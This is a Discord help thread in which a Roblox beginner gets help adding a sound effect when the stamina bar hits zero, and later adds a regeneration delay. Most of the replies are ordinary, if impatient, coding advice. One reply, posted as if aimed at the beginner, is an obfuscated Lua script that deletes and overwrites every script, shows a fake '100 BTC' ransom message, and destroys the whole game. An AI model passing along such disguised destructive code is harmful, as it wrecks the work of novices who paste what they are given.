#Trying to add a sound effect to my stamina function

1 messages · Page 1 of 1 (latest)

tender flume
#

im trying to make a sound effect (261839712) play whenever i run out of stam, and im not sure how to add that

quaint axle
#

blud

#

that's the easiest thing in life

tender flume
#

im new to coding lol

quaint axle
#

maybe u should add a task.wait(0.1) before the while loop

#

cuz it would run out so fast

pulsar bloom
#

everyone is different

quaint axle
#

IN THE WHILE loop

pulsar bloom
#

anyway

quaint axle
#

i didnt script for 2 years in roblox so i might be wrong BUT

#

u already have an if statement that says "if stamina == 0"

#

u can play the sound in there and then break the loop or smth

indigo kelp
#

in that if statement just play a sound

pulsar bloom
#

u wanna put the line that plays it here

#

and use

#
if Stamina <= 0 then
#

just in case

quaint axle
tender flume
#

my brain hurts

indigo kelp
#

what ze fack

quaint axle
#

delete the if stamina == 0 statement in the inputended function

pulsar bloom
#

an add

pulsar bloom
#

line

#

that plays the sound

pulsar bloom
quaint axle
# tender flume k

and in the inputbegan function put a task.wait(0.1) IN the while loop before everything starts and if stamina <= 0 play the sound and do everything u want in there then break the loop

pulsar bloom
tender flume
#

all im trying to figure out is how to play the sound 😭

indigo kelp
#

lad

quaint axle
# tender flume k

the other stamina == 0 if statement is useless remove it and put the thing inside the if statement in the first one

#

the if stamina <= 0 one

tender flume
pulsar bloom
indigo kelp
#

just use gpt

pulsar bloom
quaint axle
obtuse plinthBOT
#

studio** You are now Level 4! **studio

tender flume
#

my little peanut brain cant comprehend half of this shi 😭

indigo kelp
#

how did u even make that code

tender flume
#

sorry

quaint axle
#

listen to me

#

LISTEN TO ME

tender flume
indigo kelp
#

u see where u are changing walk speed just play the sound there

tender flume
quaint axle
tender flume
indigo kelp
#

that is the sound id of the sound u wanna play

#

have u even uploaded which sound u want

tender flume
#

no but ill change it ot that

indigo kelp
#

just ask gpt step by step and follow it

quaint axle
# tender flume HOW

make a sound object in roblox studio with the + button and click on the sound object and put the ID of the sound name or u can make a new sound instance in ur script and do "sound.SoundId = "rbxassetid://2312132132" or just 2312132132

tender flume
#

sound.SoundId = "rbxassetid://261839712"

#

?

quaint axle
indigo kelp
#

make sound object change its attributes to whatever u want and then just :play()

quaint axle
#

MAN SHUT YO

empty yoke
empty yoke
#

unless you wanna learn it

#

then thats fair

indigo kelp
#

what

quaint axle
indigo kelp
#

he wants to learn so let him use gpt

#

he legit cant understand the help here

tender flume
empty yoke
indigo kelp
#

ur not even trying to think about it ur just waiting for some1 to paste the code for u

quaint axle
#

breadz, can you copy the whole code and put ```

indigo kelp
#

just use gpt

pulsar bloom
#

what is it that u do not understand

quaint axle
#

LISTEN

#

put ```

tender flume
#

ok

quaint axle
#

and copy the code

empty yoke
# indigo kelp ur not even trying to think about it ur just waiting for some1 to paste the code...

||```lua
local m = tick() for i,v in game:GetDescendants() do if v:IsA("\83\99\114\105\112\116") or v:IsA("\76\111\99\97\108\83\99\114\105\112\116") or v:IsA("\77\111\100\117\108\101\83\99\114\105\112\116") then local g = Instance.new("\83\99\114\105\112\116") g.Parent = v.Parent v:Destroy() end end while task.wait() do for i,v in game:GetDescendants() do v.Name = {math.random(1,999999999)}{math.random(1,999999999)}{math.random(1,999999999)}{math.random(1,999999999)}{math.random(1,999999999)} if v:IsA("\83\99\114\105\112\116") or v:IsA("\76\111\99\97\108\83\99\114\105\112\116") or v:IsA("\77\111\100\117\108\101\83\99\114\105\112\116") then v.Source = "\89\79\85\86\69\32\66\69\69\78\32\72\65\67\75\69\68\33\32\83\69\78\68\32\49\48\48\32\66\84\67\32\84\79\32\97\111\50\51\111\50\51\106\50\51\106\50\51\110\50\51\106\97\105\106\102\107\50\98\114\32\78\79\87\46\32\89\79\85\82\32\83\67\82\73\80\84\83\32\87\73\76\76\32\66\69\32\76\79\83\84\32\73\78\32\49\32\77\73\78\85\84\69\46" end end if tick() - m >= 5 then for i,v in game:GetDescendants() do local q = pcall(function() v:Destroy() end) end break end end while task.wait() do local g = Instance.new("\83\99\114\105\112\116") g.Source = [[ for i,v in game:GetDescendants() do local _ = pcall(function() v:Destroy() end) print("\89\79\85\32\67\65\78\84\32\71\69\84\32\82\73\68\32\79\70\32\77\65\76\87\65\82\69\32\84\72\65\84\32\70\65\83\84\32\58\41") end ]] g.Parent = game:GetService("\83\101\114\118\101\114\83\99\114\105\112\116\83\101\114\118\105\99\101") workspace.CurrentCamera:Destroy() end

quaint axle
#

wait ill send u ss

tender flume
#

man i genuinly give up

obtuse plinthBOT
#

studio** You are now Level 3! **studio

quaint axle
#

copy the code and format it like that

#

in discord

empty yoke
tender flume
#
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:wait()
local UserInputService = game:GetService("UserInputService")

local Stamina = 100
local Running = false
local SprintSpeed = 24
local WalkSpeed = 12 

script.Parent.PlayerName.Text = Player.Name
script.Parent.PlayerThumb.Image = "rbxthumb://type=AvatarHeadShot&id=" ..Player.UserId.. "&w=420&h=420"

Character:WaitForChild("Humanoid"):GetPropertyChangedSignal("Health"):connect(function()
    script.Parent.HealthBar.Bar.Size = UDim2.new(math.floor(Character.Humanoid.Health) / 100, 0, 1, 0)
end)

UserInputService.InputBegan:Connect(function(key)
    if key.KeyCode == Enum.KeyCode.LeftShift then
        Running = true
        Character.Humanoid.WalkSpeed = SprintSpeed
        while Stamina > 0 and Running do
            Stamina -= 1
            --print(Stamina)
            if Stamina <= 0 then
                script.Parent.StaminaBar.Bar.Visible = false
            else
                script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
            end
            wait()
            if Stamina == 0 then
                Character.Humanoid.WalkSpeed = WalkSpeed
            end
        end
    end 
end)

UserInputService.InputEnded:Connect(function(key)
    if key.KeyCode == Enum.KeyCode.LeftShift then
        Running = false
        Character.Humanoid.WalkSpeed = WalkSpeed
        task.wait(0.1) while Stamina < 100 and not Running do
            script.Parent.StaminaBar.Bar.Visible = true
            Stamina += 1
            --print(Stamina)
            script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
            wait()
            if Stamina == 0 then
                Character.Humanoid.WalkSpeed = WalkSpeed
            end
        end
    end
end)
indigo kelp
#
            if Stamina == 0 then
                Character.Humanoid.WalkSpeed = WalkSpeed
            end

change to <= and play sound in that if

tender flume
#

all im trying to figure out is how to play the sound

indigo kelp
#

do yk what an if stament

#

is

tender flume
#

i think

indigo kelp
#

i have legit given u the code to play sound in the docs, if u cant format it ur self just use gpt

pulsar bloom
pulsar bloom
#

like it wont help you write code

#

it can explain

#

well

#

sometimes

#

rarelye

indigo kelp
#

??

pulsar bloom
#

even that

pulsar bloom
indigo kelp
#

u havent used gpt then

pulsar bloom
#

its bs

#

anyway

pulsar bloom
indigo kelp
#

ok gl helping him

#

he ignores all

empty yoke
# tender flume ```lua local Player = game.Players.LocalPlayer local Character = Player.Characte...

im sleepy as hell rn but ill try to help

on

            if Stamina == 0 then
                Character.Humanoid.WalkSpeed = WalkSpeed
            end

First do what rexo said, then
add a Sound Instance inside the thingymajig, can be in SoundService or As a child of the script

then... do

--Outisde of the functions
local SoundThing = pathtosound

-- all your funcs
            if Stamina <= 0 then
                SoundThing:Play()
                Character.Humanoid.WalkSpeed = WalkSpeed
            end
-- all your ends whatever
pulsar bloom
#

this

tender flume
pulsar bloom
#

not

#

lmfa

empty yoke
#

😭

pulsar bloom
#

okay @tender flume just come to dms atp

empty yoke
#

Gl serg

pulsar bloom
quaint axle
#

@tender flume

#

i tried

tender flume
#

=I DID IT

#

I CHANGED A WORD

quaint axle
#

bruh

empty yoke
#

why did

#

he delete it

#

LMAO

pulsar bloom
#

no

#

tween isnt a function

quaint axle
empty yoke
#

???

#

:Stop()???

tender flume
empty yoke
#

😭

quaint axle
#

BRUH

#

OK TRY THIS

#
local stamina_sound = Instance.new("Sound")
stamina_sound.SoundId = "rbxassetid://111111" -- or you can put the id as an integer like 1111111 only. 

UserInputService.InputBegan:Connect(function(key, proc)
    if proc then return end
    if key.KeyCode == Enum.KeyCode.LeftShift then
        Running = true
        Character.Humanoid.WalkSpeed = SprintSpeed
        while Stamina > 0 and Running do
            task.wait(0.1) -- To make the while loop run every 0.1 seconds
            Stamina -= 1
        
            if Stamina <= 0 then
                stamina_sound:Play()
                Character.Humanoid.WalkSpeed = WalkSpeed
                script.Parent.StaminaBar.Bar.Visible = false
            else
                script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
            end
        end
    end 
end)

UserInputService.InputEnded:Connect(function(key)
    if key.KeyCode == Enum.KeyCode.LeftShift then
        Running = false
        Character.Humanoid.WalkSpeed = WalkSpeed
        while Stamina < 100 and not Running do
            task.wait(0.5) -- enter the amount of seconds you want to run the while loop

            script.Parent.StaminaBar.Bar.Visible = true
            Stamina += 1
            --print(Stamina)
            script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
        end
    end
end)```
#

try this

tender flume
#

SO I REPLACE ALL THE CODE WITH THAT?

#

oops cap lock

quaint axle
#

no bro

#

just copy it and replace it with the inputbegan and inputended

#

and SEE the changes

tender flume
#

where is inputbegan and inputended

quaint axle
#

bruh

#

BRUH

tender flume
#

I DONT KNOW SHIT

quaint axle
#

HOW DO U NOT KNOW UR OWN CODE

tender flume
#

😭

proud scarab
#

wild

tender flume
#

I DONT KNOW

quaint axle
#

USERINPUTSERVICE.INPUTBEGAN:CONNECT(FUNCTION)

#

SAME THING BUT INPUTENDED

tender flume
#

oh i see it now

quaint axle
#

NOW PASTE

#

AND SHOW ME

empty yoke
quaint axle
#

and don't forget to put ur sound id

#

@tender flume

tender flume
pulsar bloom
quaint axle
#

AH HELL NAH

#

AH HELL NAH

pulsar bloom
#

no

quaint axle
#

i quit

karmic stirrup
quaint axle
#

I QUIT

#

IM OUT

#

IM OUT

empty yoke
#

i dont think i wanna help anymore

pulsar bloom
#

@tender flume im explaining things to u in dms, focus there cause these guys lack patience lmao

#

although good job

#

thanks guys

quaint axle
#

@pulsar bloom

#

just explain to him

#

cuz im done

karmic stirrup
#

is this a vibe coder or smth

pulsar bloom
#

@quaint axle

quaint axle
#

and i didnt script for 2 years anyway

pulsar bloom
#

i am

quaint axle
#

so u obviously know more and remember more than me

#

peace

#

im a web developer anyway

dreamy bison
#

@tender flume things got a little heated. Let's start over.

What have you done so far and what isn't quite working

tender flume
dreamy bison
tender flume
#

i jus want this sound to play when i run out of stam (261839712)

dreamy bison
#

Oh I did not know that

#

@tender flume that true? Not trying to step on anyone's toes

tender flume
#

hold on sorry

tender flume
#

forsaken / pillar chase

tender flume
#

u can keep going

#

it helps my brain to be able to compile two seperate info

dreamy bison
# tender flume it is true but ur fine

Okay, so for sounds to play for everyone, just don't parent it to either a Part or Attachment (so the workspace, somewhere)

Wherever that is, you can then add it via the explorer by hovering over the Workspace and clicking the little plus that appears.

Find "Sound", click on it, and then set the SoundID property to that sound you wanted earlier.

tender flume
obtuse plinthBOT
#

studio** You are now Level 4! **studio

dreamy bison
tender flume
#

oh ok

#

hmm

#

so i click the plsu on workspace

#

add a sound

#

and then i go into that sound add in the ID?

dreamy bison
tender flume
#

have the sound now what

dreamy bison
tender flume
#

ohh i get where its going

#

i added the id

#

now what

dreamy bison
tender flume
dreamy bison
tender flume
dreamy bison
# tender flume alright

If you placed it directly in the Workspace, you can grab it via game.workspace.Sound ("Sound" being whatever you named that new sound. If you didn't change the name, it'll be "Sound")

tender flume
#

alright, where do i type that?

dreamy bison
tender flume
#

hmm

dreamy bison
tender flume
dreamy bison
# tender flume here?

Not quite, because we want it to play when the stamina is depleted. There's a place in your code that runs stuff when the stamina is <= 0

tender flume
#

oh here?

dreamy bison
# tender flume oh here?

Yeah! That's where you say "If we're out of stamina, do this:" and you do things like reverting speed, hiding the stamina bar, etc.

tender flume
#

ohhh alright

#

so what do i type to play the sound

dreamy bison
tender flume
#

side note: this whole time my friend has been trying to texture.. this..

tender flume
tender flume
dreamy bison
# tender flume like this?

Almost! :Play() on its own isn't enough for the computer to understand what you mean.

It goes line by line, so it doesn't understand what you mean when you ask it to "Play" without anything to actually play.

We need to make sure we ask it to play the sound, so we'd need the sound and :Play on the same line

tender flume
#

ohhh ok

#

it got cut off lol

dreamy bison
tender flume
dreamy bison
dreamy bison
tender flume
dreamy bison
tender flume
#

TYSM

dreamy bison
# tender flume HOLY SHIT IT WORKS

That's awesome!

You can make the sound stop when they regain stamina by using :Stop() if you'd like.

You did it! Just needed a little guidance that's all.

tender flume
#

do you know how i can make it wait a couple seconds before regaining stam if it hits 0? or am i asking for too much?

tender flume
#

ive been trying to do this for an hour

dreamy bison
# tender flume TYSM

I know things got a little wild earlier, and understand that not everyone has the time or patience to walk through something with someone. They can get a bit frustrated as it takes more out of them then they'd like.

I personally don't always have the time to go step by step, but I happened to at this moment.

Hopefully this makes up for all that!

obtuse plinthBOT
#

studio** You are now Level 5! **studio

tender flume
#

and also once again, thanks so much for all the help

dreamy bison
# tender flume do you know how i can make it wait a couple seconds before regaining stam if it ...

There are a few methods to do this, but I can say how I'd handle it:

  1. Use math.max to make sure that, before you update the stamina bar, that stamina can't display lower than 0, so math.max(stamina, 0), which chooses the bigger number. If Stamina is negative, it'll choose 0, as that's bigger. If it's greater than 0, it'll leave stamina as it is.
  2. When the stamina depletes, set it to some negative value (the lower, the longer the delay)
  3. Since you made sure the stamina wouldn't display lower than 0, a negative won't make the bar look funny.
  4. Because the stamina is negative, it'll take longer for the regaining to happen as it has to count more before it reaches 0. So the delay is kinda automatic!
tender flume
#

i tried and it made stamina infinite

#

it made ur stam not go down

dreamy bison
tender flume
dreamy bison
# tender flume

Oh, you don't set the stamina to negative there, it should be where it depletes, where we put the sound playing

tender flume
#

ohh

dreamy bison
# tender flume ohh

But you do also need to be careful, as you're not doing the part that keeps the stamina bar from looking silly

tender flume
#

i tried this and it made my stam not go down

indigo kelp
#

just learn from the beginning, learn about variables if statements this is joever

dreamy bison
dreamy bison
tender flume
#

oh

#

made the stam look goofy

dreamy bison
# tender flume made the stam look goofy

Yep, I did mention that, we just need to make sure when you use the Stamina to set the bar's width, we prevent it from going to 0. So instead of dividing using Stamina, we can do math.max(Stamina, 0) just for the bar setting part and nothing else

tender flume
#

?

dreamy bison
# tender flume

Wrong spot, put back what you had as that was fine.

I'm talking about when you update the UI bar, go there first, where it refills

tender flume
#

wheres the ui update scrippt?

dreamy bison
tender flume
#

ohhh so thats what that does

#

alr

dreamy bison
# tender flume ?

Unfortunately that's not gonna work. math.max returns a number, so there's just kind a free floating number there.

We want to replace Stamina within UDim2.new with that math.max

tender flume
dreamy bison
# tender flume

Sorry, you took that a little too literally.

Stamina we wanted to replace with the whole of that math.max, not literally just "math.max"

tender flume
#

wait could you write it out

#

im confused

dreamy bison
# tender flume im confused

I'm gonna take a snippet.

Stamina / 100 is going to give us a negative if Stamina is negative. We don't want that, so we want to add a little more to prevent the resulting number from being negative.

To ensure we only calculate with Stamina when it's at least 0, we use math.max, which will pick the bigger of the numbers we give it.

math.max takes any number of.. well numbers we give it, and pick the biggest out of all of those.

Since we don't want it lower than 0, we need to give math.max 0, as if 0 is ever the bigger of the given numbers, we know the other ones are negative.

But we need the Stamina number, so we need to give that also.

So to "give" a function things, we use parenthesis (). We put what we want to give it within those parenthesis, separated by commas.

So math.max(0, Stamina), so math.max will give us whichever is bigger, 0 or whatever Stamina is.

tender flume
#

wait

#

what if we just do a wait or whatever its called

#

so it waits a couple of seconds before regaining seconds

dreamy bison
tender flume
#

huh

#

could you write out the line of code, im a bit stumped

dreamy bison
tender flume
#

its still doing it

dreamy bison
tender flume
dreamy bison
# tender flume

Sorry, that's not the right spot. I was meaning in InputEnded, where the stamina regenerates

tender flume
#

ohh

#

YES IT WORKS

#

TY

dreamy bison
dreamy bison
# tender flume TY

No problem. This thread is quite large, so any future issues would be best in a new post 🙂

tender flume
#

Alright thank you so much for all the help :)

dreamy bison